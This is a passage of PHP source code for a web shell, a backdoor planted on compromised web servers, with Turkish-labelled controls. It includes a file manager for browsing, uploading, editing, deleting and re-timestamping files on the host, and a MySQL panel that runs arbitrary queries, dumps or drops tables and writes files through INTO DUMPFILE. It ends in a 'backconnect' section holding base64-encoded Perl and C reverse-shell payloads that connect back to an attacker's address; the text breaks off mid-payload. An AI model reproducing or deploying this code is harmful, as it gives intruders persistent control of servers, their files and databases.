$(\'copyfile\').sname.value=sname;
$(\'copyfile\').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt(\'Former file name:\'+oldname+\'\nPlease input new filename:\', \'\');
if (!newfilename) return;
$(\'rename\').newfilename.value=newfilename;
$(\'rename\').oldname.value=oldname;
$(\'rename\').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$(\'filelist\').doing.value=doing;
if (thefile){
$(\'filelist\').thefile.value=thefile;
}
$(\'filelist\').submit();
}
function createfile(nowpath){
var filename;
filename = prompt(\'Please input the file name:\', \'\');
if (!filename) return;
opfile(\'editfile\',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$(\'fileopform\').action.value=action;
$(\'fileopform\').opfile.value=opfile;
$(\'fileopform\').dir.value=dir;
$(\'fileopform\').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$(\'godir\').view_writable.value=1;
}
$(\'godir\').dir.value=dir;
$(\'godir\').submit();
}
</script>
<?php
tbhead();
p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');
p(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');
p(\'<a href="javascript:godir(\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">WebRoot</a>\');
if ($view_writable) {
p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\');">View All</a>\');
} else {
p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\',\\'1\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">View Writable</a>\');
}
p(\' | <a href="javascript:createdir();"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Klasor Olustur</a> | <a href="javascript:createfile(\\'\'.$nowpath.\'\\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Dosya Olustur</a>\');
if (IS_WIN && IS_COM) {
$obj = new COM(\'scripting.filesystemobject\');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Size:\'.sizecount($drive->TotalSize).\' Free:\'.sizecount($drive->FreeSpace).\' Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
} else {
p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
}
}
}
}
p(\'</td></tr></form>\');
p(\'<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');
//#щ+|- +-++-|+-+ |--+-+
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// -+-+--#э
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb[\'filename\']=$file;
$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
$dirdb[\'dirchmod\']=getChmod($filepath);
$dirdb[\'dirperm\']=getPerms($filepath);
$dirdb[\'fileowner\']=getUser($filepath);
$dirdb[\'dirlink\']=$nowpath;
$dirdb[\'server_link\']=$filepath;
$dirdb[\'client_link\']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb[\'filename\']=$file;
$filedb[\'size\']=sizecount(@filesize($filepath));
$filedb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
$filedb[\'filechmod\']=getChmod($filepath);
$filedb[\'fileperm\']=getPerms($filepath);
$filedb[\'fileowner\']=getUser($filepath);
$filedb[\'dirlink\']=$nowpath;
$filedb[\'server_link\']=$filepath;
$filedb[\'client_link\']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = \'0\';
foreach($dirdata as $key => $dirdb){
if($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
p(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');
p(\'<td><a href="javascript:godir(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'filename\'].\'</a></td>\');
p(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');
p(\'<td nowrap>--</td>\');
p(\'<td nowrap>\');
p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');
p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');
p(\'<td nowrap><a href="javascript:dofile(\\'deldir\\',\\'\'.$dirdb[\'server_link\'].\'\\',\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\n\\nIf non-empty directory, will be delete all the files.\\')">Del</a> | <a href="javascript:rename(\\'\'.$dirdb[\'server_link\'].\'\\');">Rename</a></td>\');
p(\'</tr>\');
$dir_i++;
} else {
if($dirdb[\'filename\']==\'..\') {
p(\'<tr class=\'.bg().\'>\');
p(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\'\'.getUpPath($nowpath).\'\\');"><FONT FACE="tahoma" color="#999999"> <left><br></span><span style="font-weight:bold; text-shadow:white 0px 0px 8px; color:white"><font color=red>Parent Directory</a></td>\');
p(\'</tr>\');
}
}
}
p(\'<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>\');
p(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');
makehide(\'action\',\'file\');
makehide(\'thefile\');
makehide(\'doing\');
makehide(\'dir\',$nowpath);
$file_i = \'0\';
foreach($filedata as $key => $filedb){
if($filedb[\'<FONT FACE="tahoma" color="#999999"> <left><br></span><span style="font-weight:bold; text-shadow:lightsteelblue 0px 0px 8px; color:darkslateblue"><font color=red>filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {
$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
p(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');
p(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');
p(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');
p(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');
p(\'<td nowrap>\');
p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'filechmod\'].\'</a> / \');
p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');
p(\'<td nowrap>\');
p(\'<a href="javascript:dofile(\\'downfile\\',\\'\'.$filedb[\'server_link\'].\'\\');">Down</a> | \');
p(\'<a href="javascript:copyfile(\\'\'.$filedb[\'server_link\'].\'\\');">Copy</a> | \');
p(\'<a href="javascript:opfile(\\'editfile\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Edit</a> | \');
p(\'<a href="javascript:rename(\\'\'.$filedb[\'server_link\'].\'\\');">Rename</a> | \');
p(\'<a href="javascript:opfile(\\'newtime\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Time</a>\');
p(\'</td></tr>\');
$file_i++;
}
}
p(\'<tr class="\'.bg().\'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\'downrar\\');">Packing download selected</a> - <a href="javascript:dofile(\\'delfiles\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');
p(\'</form></table>\');
}// end dir
elseif ($action == \'sqlfile\') {
if($doing=="mysqlupload"){
$file = $_FILES[\'uploadfile\'];
$filename = $file[\'tmp_name\'];
if (file_exists($savepath)) {
m(\'The goal file has already existed\');
} else {
if(!$filename) {
m(\'Please choose a file\');
} else {
$fp=@fopen($filename,\'r\');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file[\'name\'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");
m($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$(\'doing\').value=doing;
$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
$(\'mysqlfile\').submit();
}
</script>
<?php
!$dbhost && $dbhost = \'localhost\';
!$dbuser && $dbuser = \'root\';
!$dbport && $dbport = \'3306\';
$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');
formhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));
makehide(\'action\',\'sqlfile\');
p(\'<p>\');
p(\'DBHost:\');
makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
p(\':\');
makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
p(\'DBUser:\');
makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
p(\'DBPass:\');
makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
p(\'DBName:\');
makeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));
p(\'DBCharset:\');
makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
p(\'</p>\');
formfoot();
p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');
p(\'<h2>Upload file</h2>\');
p(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');
p(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\'mysqlupload\\');">Upload</a></p>\');
p(\'<h2>Download file</h2>\');
p(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\'mysqldown\\');">Download</a></p>\');
makehide(\'dbhost\');
makehide(\'dbport\');
makehide(\'dbuser\');
makehide(\'dbpass\');
makehide(\'dbname\');
makehide(\'charset\');
makehide(\'doing\');
makehide(\'action\',\'sqlfile\');
p(\'</form>\');
}
elseif ($action == \'sqladmin\') {
!$dbhost && $dbhost = \'localhost\';
!$dbuser && $dbuser = \'root\';
!$dbport && $dbport = \'3306\';
$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == \'backupmysql\' && $saveasfile) {
if (!$table) {
m(\'Please choose the table\');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,\'w\');
if ($fp) {
$result = q(\'SHOW tables\');
if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
$mysqldata = \'\';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,\'\',$path);
m(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');
mysql_close();
} else {
m(\'Backup failed\');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = \'\';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."\'".addslashes($val)."\'";
$tmp = \',\';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = \'\';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."=\'".addslashes($val)."\'";
$tmp = \',\';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());
}
}
if ($doing == \'del\' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());
}
if ($tablename && $doing == \'drop\') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m(\'Drop table of success\');
$tablename = \'\';
} else {
m(mysql_error());
}
}
$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');
formhead(array(\'title\'=>\'MYSQL Manager\'));
makehide(\'action\',\'sqladmin\');
p(\'<p>\');
p(\'DBHost:\');
makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
p(\':\');
makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
p(\'DBUser:\');
makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
p(\'DBPass:\');
makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
p(\'DBCharset:\');
makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
makeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));
p(\'</p>\');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == \'del\') {
if (!confirm(\'Is or isn\\'t deletion record?\')) return;
}
$(\'recordlist\').doing.value=action;
$(\'recordlist\').base64.value=base64;
$(\'recordlist\').tablename.value=tablename;
$(\'recordlist\').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$(\'setdbname\').dbname.value=dbname;
$(\'setdbname\').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$(\'settable\').doing.value=doing;
}
if (page) {
$(\'settable\').page.value=page;
}
$(\'settable\').tablename.value=tablename;
$(\'settable\').submit();
}
</script>
<?php
//#++ў+|-+
formhead(array(\'name\'=>\'recordlist\'));
makehide(\'doing\');
makehide(\'action\',\'sqladmin\');
makehide(\'base64\');
makehide(\'tablename\');
p($dbform);
formfoot();
//-б|и- +|+т
formhead(array(\'name\'=>\'setdbname\'));
makehide(\'action\',\'sqladmin\');
p($dbform);
if (!$dbname) {
makehide(\'dbname\');
}
formfoot();
//-б|и#э
formhead(array(\'name\'=>\'settable\'));
makehide(\'action\',\'sqladmin\');
p($dbform);
makehide(\'tablename\');
makehide(\'page\',$page);
makehide(\'doing\');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
//+ё+б- +|+т-+-в
$mysqlver = mysql_get_server_info();
p(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');
$highver = $mysqlver > \'4.1\' ? 1 : 0;
//+ё+б- +|+т
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = \'-- Select a database --\';
while($db = mysql_fetch_array($query)) {
$dbs[$db[\'Database\']] = $db[\'Database\'];
}
makeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));
$tabledb = array();
if ($dbname) {
p(\'<p>\');
p(\'Current dababase: <a href="javascript:moddbname(\\'\'.$dbname.\'\\');">\'.$dbname.\'</a>\');
if ($tablename) {
p(\' | Current Table: <a href="javascript:settable(\\'\'.$tablename.\'\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'drop\\');">Drop</a> ]\');
}
p(\'</p>\');
mysql_select_db($dbname);
$getnumsql = \'\';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p(\'<form action="\'.$self.\'" method="POST">\');
p(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database \'.$dbname.\':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');
makehide(\'tablename\', $tablename);
makehide(\'action\',\'sqladmin\');
p($dbform);
p(\'</form>\');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == \'structure\') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p(\'<table border="0" cellpadding="3" cellspacing="0">\');
p(\'<tr class="head">\');
p(\'<td>Field</td>\');
p(\'<td>Type</td>\');
p(\'<td>Null</td>\');
p(\'<td>Key</td>\');
p(\'<td>Default</td>\');
p(\'<td>Extra</td>\');
p(\'</tr>\');
foreach ($rowdb as $row) {
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
p(\'<td>\'.$row[\'Field\'].\'</td>\');
p(\'<td>\'.$row[\'Type\'].\'</td>\');
p(\'<td>\'.$row[\'Null\'].\' </td>\');
p(\'<td>\'.$row[\'Key\'].\' </td>\');
p(\'<td>\'.$row[\'Default\'].\' </td>\');
p(\'<td>\'.$row[\'Extra\'].\' </td>\');
p(\'</tr>\');
}
tbfoot();
} elseif ($doing == \'insert\' || $doing == \'edit\') {
$result = q(\'SHOW COLUMNS FROM \'.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == \'insert\') {
p(\'<h2>Insert new line in \'.$tablename.\' table »</h2>\');
} else {
p(\'<h2>Update record in \'.$tablename.\' table »</h2>\');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p(\'<form method="post" action="\'.$self.\'">\');
p($dbform);
makehide(\'action\',\'sqladmin\');
makehide(\'tablename\',$tablename);
p(\'<table border="0" cellpadding="3" cellspacing="0">\');
foreach ($rowdb as $row) {
if ($rs[$row[\'Field\']]) {
$value = htmlspecialchars($rs[$row[\'Field\']]);
} else {
$value = \'\';
}
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
p(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');
}
if ($doing == \'insert\') {
p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');
} else {
p(\'<tr class="\'.bg().\'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');
makehide(\'base64\', $base64);
}
p(\'</table></form>\');
} else {
$querys = @explode(\';\',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p(\'<h2>Error : \'.mysql_error().\'</h2>\');
break;
case 1:
if (strtolower(substr($query,0,13)) == \'select * from\') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p(\'<table border="0" cellpadding="3" cellspacing="0">\');
p(\'<tr class="head">\');
if ($allowedit) p(\'<td>Action</td>\');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p(\'</tr>\');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
$where = $tmp = $b1 = \'\';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."=\'".addslashes($inside)."\'";
$tmp = \' AND \';
}
$b1 .= \'<td nowrap>\'.html_clean($inside).\' </td>\';
}
$where = base64_encode($where);
if ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\'edit\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Edit</a> | <a href="javascript:editrecord(\\'del\\', \\'\'.$where.\'\\', \\'\'.$tablename.\'\\');">Del</a></td>\');
p($b1);
p(\'</tr>\');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table[\'Data_length\'];
$table_rows = $table_rows + $table[\'Rows\'];
$table[\'Data_length\'] = sizecount($table[\'Data_length\']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p(\'<table border="0" cellpadding="0" cellspacing="0">\');
p(\'<form action="\'.$self.\'" method="POST">\');
makehide(\'action\',\'sqladmin\');
p($dbform);
p(\'<tr class="head">\');
p(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');
p(\'<td>Name</td>\');
p(\'<td>Rows</td>\');
p(\'<td>Data_length</td>\');
p(\'<td>Create_time</td>\');
p(\'<td>Update_time</td>\');
if ($highver) {
p(\'<td>Engine</td>\');
p(\'<td>Collation</td>\');
}
p(\'</tr>\');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
p(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');
p(\'<td><a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'insert\\');">Insert</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'structure\\');">Structure</a> | <a href="javascript:settable(\\'\'.$table[\'Name\'].\'\\', \\'drop\\');">Drop</a> ]</td>\');
p(\'<td>\'.$table[\'Rows\'].\'</td>\');
p(\'<td>\'.$table[\'Data_length\'].\'</td>\');
p(\'<td>\'.$table[\'Create_time\'].\'</td>\');
p(\'<td>\'.$table[\'Update_time\'].\'</td>\');
if ($highver) {
p(\'<td>\'.$table[\'Engine\'].\'</td>\');
p(\'<td>\'.$table[\'Collation\'].\'</td>\');
}
p(\'</tr>\');
}
p(\'<tr class=\'.bg().\'>\');
p(\'<td> </td>\');
p(\'<td>Total tables: \'.$table_num.\'</td>\');
p(\'<td>\'.$table_rows.\'</td>\');
p(\'<td>\'.$data_size.\'</td>\');
p(\'<td colspan="\'.($highver ? 4 : 2).\'"> </td>\');
p(\'</tr>\');
p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide(\'doing\',\'backupmysql\');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == \'backconnect\') {
!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];
!$yourport && $yourport = \'12345\';
$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
